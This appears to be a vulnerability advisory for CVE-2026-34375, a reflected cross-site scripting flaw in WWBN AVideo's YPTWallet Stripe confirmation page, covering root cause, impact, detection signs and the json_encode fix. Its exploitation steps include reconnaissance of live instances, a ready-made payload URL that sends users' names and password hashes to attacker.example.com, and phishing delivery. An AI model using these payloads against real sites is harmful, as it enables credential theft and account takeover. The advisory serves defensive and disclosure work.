CVE-2026-34375: 
PHP vulnerability analysis and mitigation

CVE-2026-34375 is a reflected Cross-Site Scripting (XSS) vulnerability in WWBN AVideo, an open source video platform, affecting all versions up to and including 26.0. The flaw exists in the YPTWallet Stripe payment confirmation page (confirmButton.php), where the $_REQUEST['plugin'] parameter is echoed directly into a JavaScript block without any encoding or sanitization. Discovered and published on March 27, 2026, the vulnerability carries a CVSS v3.1 base score of 8.2 (High) (Github Advisory, GitHub Advisory DB).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). In plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php at line 116, the plugin parameter from $_REQUEST is directly interpolated into a $.ajax() data object inside a <script> tag: "plugin": "<?php echo @$_REQUEST['plugin']; ?>". Because the injection occurs in a JavaScript string context rather than an HTML context, standard HTML entity encoding would be insufficient; however, no encoding of any kind is applied. The plugin parameter is absent from all sanitization and filtering arrays defined in security.php, allowing it to pass through completely raw. Critically, the same script block also renders the authenticated user's username and password hash via User::getUserName() and User::getUserPass(), and no Content-Security-Policy headers are configured, leaving inline script execution unrestricted (Github Advisory).

A successful exploit allows an unauthenticated attacker to execute arbitrary JavaScript in the browser context of any authenticated victim who clicks a crafted link. Because the vulnerable page simultaneously renders the victim's username and password hash in the same script block, a single XSS payload can immediately exfiltrate these credentials to an attacker-controlled server without any additional requests. Beyond credential theft, the attacker can hijack the victim's session, manipulate payment amounts or redirect payment confirmations on the Stripe payment page, and potentially achieve full account takeover by combining the stolen password hash with offline cracking or direct replay attacks (Github Advisory, GitHub Advisory DB).

A public proof-of-concept exploit with concrete, reproducible URLs and step-by-step reproduction instructions is available in the GitHub security advisory, and Feedly's threat intelligence classifies it as a high-confidence, real exploit (Github Advisory). No privileges are required of the attacker; only user interaction (victim clicking a crafted link) is needed. The EPSS score is approximately 0.033% (low probability of near-term exploitation in the wild), and there is no current evidence of active in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory DB).

1. Reconnaissance: Identify internet-facing WWBN AVideo instances running version 26.0 or earlier with the YPTWallet plugin enabled, using search engines or tools like Shodan/Censys targeting the path /plugin/YPTWallet/.
2. Craft the malicious URL: Construct a URL targeting the vulnerable endpoint with a payload that breaks out of the JavaScript string/object context. Example basic XSS URL:

   https://target-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*

3. Craft credential exfiltration payload: Build a more advanced payload that reads the username and password hash already present in the page's script block and sends them to an attacker-controlled server:

   https://target-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:(function(){var s=document.querySelector("script").textContent;var u=s.match(/"user":"([^"]+)"/)[1];var p=s.match(/"pass":"([^"]+)"/)[1];new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;})(),y:"

4. Deliver the link: Send the crafted URL to an authenticated victim via phishing email, social engineering, or embedding it in content the victim is likely to visit.
5. Capture credentials: When the victim clicks the link and loads the page, the injected JavaScript executes, reads the username and password hash from the script block, and exfiltrates them to the attacker's server via an image beacon or fetch request.
6. Post-exploitation: Use the stolen credentials for account takeover (offline hash cracking or direct replay), session hijacking via stolen cookies, or payment manipulation on the Stripe confirmation page (Github Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after loading /plugin/YPTWallet/ pages; image beacon or fetch requests to attacker-controlled domains containing URL parameters such as u= and p= (username/password hash exfiltration pattern).
• Logs: Web server access logs showing requests to /plugin/YPTWallet/view/addFunds.php or /plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php with URL-encoded characters in the plugin parameter (e.g., %22, %7D, %29, alert, fetch, Image).
• Browser/Client-Side: JavaScript errors or unexpected alert dialogs on the YPTWallet Stripe payment page; browser developer tools showing outbound requests to unknown domains triggered from the payment confirmation page.
• Application: Presence of unsanitized plugin parameter values reflected verbatim in page source within <script> blocks on the confirmButton.php page (Github Advisory).

The fix is available in commit fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2, which replaces the raw $_REQUEST['plugin'] echo with proper JSON encoding (json_encode()) in plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php (Patch Commit). Administrators should upgrade to a version of AVideo that includes this commit (post-26.0). As a defense-in-depth measure, implement a strict Content-Security-Policy (CSP) header to restrict inline script execution, and add the plugin parameter to the framework's input sanitization lists in security.php. If immediate upgrade is not possible, consider disabling the YPTWallet/YPTWalletStripe plugin until the patch can be applied (Github Advisory).

The vulnerability was discovered by aisafe.io and reported by the researcher adrgs, with the advisory published by the AVideo maintainer DanielnetoDotCom on March 27, 2026 (Github Advisory). Brief mentions appeared on Mastodon via @thehackerwire and on Bluesky, indicating modest community awareness. No significant vendor statements beyond the GitHub advisory or major media coverage have been identified.